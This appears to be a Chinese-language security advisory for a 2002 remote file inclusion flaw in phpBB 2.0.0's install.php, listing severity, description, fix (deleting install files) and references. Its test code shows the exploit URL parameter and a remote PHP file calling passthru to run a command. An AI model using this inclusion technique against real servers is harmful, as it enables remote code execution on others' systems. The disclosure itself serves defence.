PHPBB2 Install.PHP远程文件包含漏洞发布时间：2002-06-20 更新时间：2002-06-20 严重程度：高 威胁程度：普通用户访问权限 错误类型：配置错误 利用方式：服务器模式 BUGTRAQ ID：5038 受影响系统 phpBB Group phpBB 2.0 .0详细描述 phpBB2中的install.php对用户输入缺少正确检查，允许远程攻击者包含远程服务器上的任意文件，如果远程文件是PHP脚本，可导致攻击者以WEB权限在系统上执行攻击者提供的PHP代码。 测试代码 http://URL/install.php?phpbb_root_dir=WANTED_TO_INCLUDE --------------------includes/functions_selects.php-------------- <? passthru("uname -a"); ?> ----------------------------------------- 解决方案 删除'install.php', 'upgrade.php'和'update_to_FINAL.php'文件。 相关信息 morris Chang <onlooker@cnun.xsdeny.net>. 参考：http://online.securityfocus.com/archive/1/277318 http://online.securityfocus.com/archive/1/277473 相关主页：http://www.phpbb.com/ |
